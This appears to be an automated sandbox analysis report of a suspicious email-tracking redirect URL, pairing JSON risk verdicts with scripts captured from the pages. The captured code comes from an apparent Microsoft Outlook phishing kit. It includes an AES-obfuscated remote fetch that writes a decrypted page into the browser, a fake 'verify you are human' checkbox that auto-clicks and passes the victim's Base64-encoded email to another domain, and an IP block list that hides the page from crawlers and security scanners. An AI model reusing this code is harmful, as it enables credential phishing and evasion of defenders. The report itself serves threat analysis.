Windows Analysis Report
https://q89x88qh.r.ap-southeast-1.awstrack.me/L0/https:%2F%2Fblackdoor.in%2Fcazxccall%2Frtyucallingzxc%2F/1/010e01946a4fedf7-6a14e9da-4611-4b34-a7c5-f58f00519f0d-000000/p9HvzYrykwYBivTgZCa5Kf2-wBc=194

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": true,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true,
    "reasoning": "This appears to be an AWS tracking URL with a randomly generated subdomain (q89x88qh). The .me TLD and awstrack domain combination is often used for email tracking and redirections. The long, random subdomain and tracking domain raise suspicion for potential tracking or redirect activities."
}

URL: https://q89x88qh.r.ap-southeast-1.awstrack.me

{
    "risk_score": 4,
    "reasoning": "The script sets a JavaScript-enabled cookie, which is a common practice. It also collects mouse movement and click data, which could be used for analytics or user behavior tracking. The data is sent to the same page via an XHR request, which is a moderate-risk indicator. Overall, the script exhibits some potentially aggressive behavior, but it does not appear to have any clear malicious intent."
}

            // Set JavaScript enabled cookie
            document.cookie = "js_enabled=true; path=/";

            function querulous() {
                document.forms[0].submit();
            }

            let mouseData = [];
            document.addEventListener('mousemove', function (e) {
                mouseData.push({x: e.clientX, y: e.clientY, t: Date.now()});
            });
            document.addEventListener('click', function (e) {
                mouseData.push({x: e.clientX, y: e.clientY, t: Date.now(), click: true});
            });

            function sendMouseData() {
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '', false); // Send to the same page
                xhr.setRequestHeader('Content-Type', 'application/json');
                xhr.send(JSON.stringify({action: 'save_mouse_data', mouseData: mouseData}));
            }
        

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. While the script appears to have a legitimate purpose (retrieving information from a remote server), the use of encryption and obfuscation techniques, along with the unknown nature of the remote server, raises concerns about potential malicious intent. The script requires further review and analysis to determine the full extent of its risks."
}

            let usuuid = "SfEd6niGvFVRzkiiBVi0ShIyPzDKzvAdWy/P3UPSyCzZj9Pb3jfYNuMrw32Ky24WV1/oS5OqccEjXuxWjDZmqg==";
            let policy = "Upuzk3V1WMMG4sMCmrth+iwGUJ+xnI5+MAOnWPam1IZQGLRkwfAq5W/RwyNrdwxqijCn2bg9OIBIfdBEOuDvdw==";
			let SV = "0";
            let SIR = "1";

            function decstr(encryptedString, key) {
                const keySize = [16, 24, 32];
                if (!keySize.includes(key.length)) {
                    throw new Error("Incorrect AES key length. Use a 16, 24, or 32 bytes key.");
                }

                const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);
                const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));
                const ciphertext = CryptoJS.lib.WordArray.create(
                    encryptedData.words.slice(4)
                );
                const decryptedData = CryptoJS.AES.decrypt(
                    {
                        ciphertext: ciphertext,
                    },
                    CryptoJS.enc.Utf8.parse(key),
                    {
                        iv: iv,
                        mode: CryptoJS.mode.CBC,
                        padding: CryptoJS.pad.Pkcs7,
                    }
                );
                return decryptedData.toString(CryptoJS.enc.Utf8);
            }

            async function GEInfo() {
                try {
                    const response = await fetch(decstr(policy, "708b91a2n3k4a5i6"), {
                        method: "POST",
                        body: JSON.stringify({
                            psk: usuuid,
                            do: "GURI",
                            redirect_url: "https://outlook.office.com/mail/",
                            theme: "office",
                        }),
                        headers: {
                            "Content-Type": "application/json",
                        },
                    });

                    const data = await response.json();

                    if (data.c === "success") {
                        document.write(decstr(data.b, data.a));
                    } else {
                        document.write(`<p>${data}</p>`);
                    }
                } catch (error) {
                    console.error("Error:", error);
                    document.write("An error occurred while making the request.");
                }
            }
            

            (async () => {
                await GEInfo();
            })();
        

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a combination of moderate-risk and low-risk behaviors. It extracts an email from the URL and encodes it in Base64 before redirecting the user to a new URL. While this behavior is not inherently malicious, the use of Base64 encoding and the redirection to a hardcoded URL raise some concerns. Additionally, the automatic checkbox click and redirect after a 3.5-second delay could be considered aggressive DOM manipulation. Further review is recommended to ensure the script's intent is legitimate and the implementation is not overly aggressive."
}

function getEmailFromUrl() {
    var urlParams = new URLSearchParams(window.location.search);
    return urlParams.get('email');
}

function base64Encode(str) {
    return btoa(unescape(encodeURIComponent(str)));
}

function handleCheckboxClick() {
    var checkbox = document.getElementById('humanCheck');

    if (checkbox.checked) {
        checkbox.disabled = true; // Disable checkbox once checked
        
        // Extract the email from the current page's URL
        var email = getEmailFromUrl();
        
        // Base URL for redirection
        var baseUrl = 'https://prernalifesciences.com/asdfqwercvbnking/#';
        
        // Construct the new URL based on the presence of an email
        var newUrl = baseUrl;
        if (email) {
            // Encode the email in Base64
            var base64Email = base64Encode(email);
            newUrl += '#' + base64Email;
        }
        
        setTimeout(function () {
            // Redirect to the new URL
            window.location.href = newUrl;
        }, 3500); // 3500 milliseconds = 3.5 seconds
    }
}

// Automatically click the checkbox when the page loads
window.onload = function() {
    var checkbox = document.getElementById('humanCheck');
    if (checkbox) {
        checkbox.checked = true;
        handleCheckboxClick();
    }
};


	
		const bannedIP = [
    /^66\.102\..*/,
    /^38\.100\..*/,
    /^107\.170\..*/,
    /^149\.20\..*/,
    /^38\.105\..*/,
    /^74\.125\..*/,
    /^66\.150\.14\..*/,
    /^54\.176\..*/,
    /^38\.100\..*/,
    /^184\.173\..*/,
    /^66\.249\..*/,
    /^128\.242\..*/,
    /^72\.14\.192\..*/,
    /^208\.65\.144\..*/,
    /^74\.125\..*/,
    /^209\.85\.128\..*/,
    /^216\.239\.32\..*/,
    /^74\.125\..*/,
    /^207\.126\.144\..*/,
    /^173\.194\..*/,
    /^64\.233\.160\..*/,
    /^72\.14\.192\..*/,
    /^66\.102\..*/,
    /^64\.18\..*/,
    /^194\.52\.68\..*/,
    /^194\.72\.238\..*/,
    /^62\.116\.207\..*/,
    /^212\.50\.193\..*/,
    /^69\.65\..*/,
    /^50\.7\..*/,
    /^131\.212\..*/,
    /^46\.116\..*/,
    /^62\.90\..*/,
    /^89\.138\..*/,
    /^82\.166\..*/,
    /^85\.64\..*/,
    /^85\.250\..*/,
    /^89\.138\..*/,
    /^93\.172\..*/,
    /^109\.186\..*/,
    /^194\.90\..*/,
    /^212\.29\.192\..*/,
    /^212\.29\.224\..*/,
    /^212\.143\..*/,
    /^212\.150\..*/,
    /^212\.235\..*/,
    /^217\.132\..*/,
    /^50\.97\..*/,
    /^217\.132\..*/,
    /^209\.85\..*/,
    /^66\.205\.64\..*/,
    /^204\.14\.48\..*/,
    /^64\.27\.2\..*/,
    /^67\.15\..*/,
    /^202\.108\.252\..*/,
    /^193\.47\.80\..*/,
    /^64\.62\.136\..*/,
    /^66\.221\..*/,
    /^64\.62\.175\..*/,
    /^198\.54\..*/,
    /^192\.115\.134\..*/,
    /^216\.252\.167\..*/,
    /^193\.253\.199\..*/,
    /^69\.61\.12\..*/,
    /^64\.37\.103\..*/,
    /^38\.144\.36\..*/,
    /^64\.124\.14\..*/,
    /^206\.28\.72\..*/,
    /^209\.73\.228\..*/,
    /^158\.108\..*/,
    /^168\.188\..*/,
    /^66\.207\.120\..*/,
    /^167\.24\..*/,
    /^192\.118\.48\..*/,
    /^67\.209\.128\..*/,
    /^12\.148\.209\..*/,
    /^12\.148\.196\..*/,
    /^193\.220\.178\..*/,
    /^68\.65\.53\.71/,
    /^198\.25\..*/,
    /^64\.106\.213\..*/
];

// Function to check if an IP is banned
function isIPBanned(ip) {
    for (let i = 0; i < bannedIP.length; i++) {
        if (bannedIP[i].test(ip)) {
            return true; // IP is banned
        }
    }
    return false; // IP is not banned
}

// Example usage:
const clientIP = "192.168.1.1"; // Replace with actual client IP (simulate IP address)

if (isIPBanned(clientIP)) {
    // Return 404 error page
    console.log("404 The page that you have requested could not be found.");
    // In a real application, you would typically send an HTTP response with status code 404
} else {
    // Proceed with normal page rendering or other logic
    console.log("Page rendering for non-banned IP.");
}
    

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Verify that you are human",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": true,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": "unknown"
}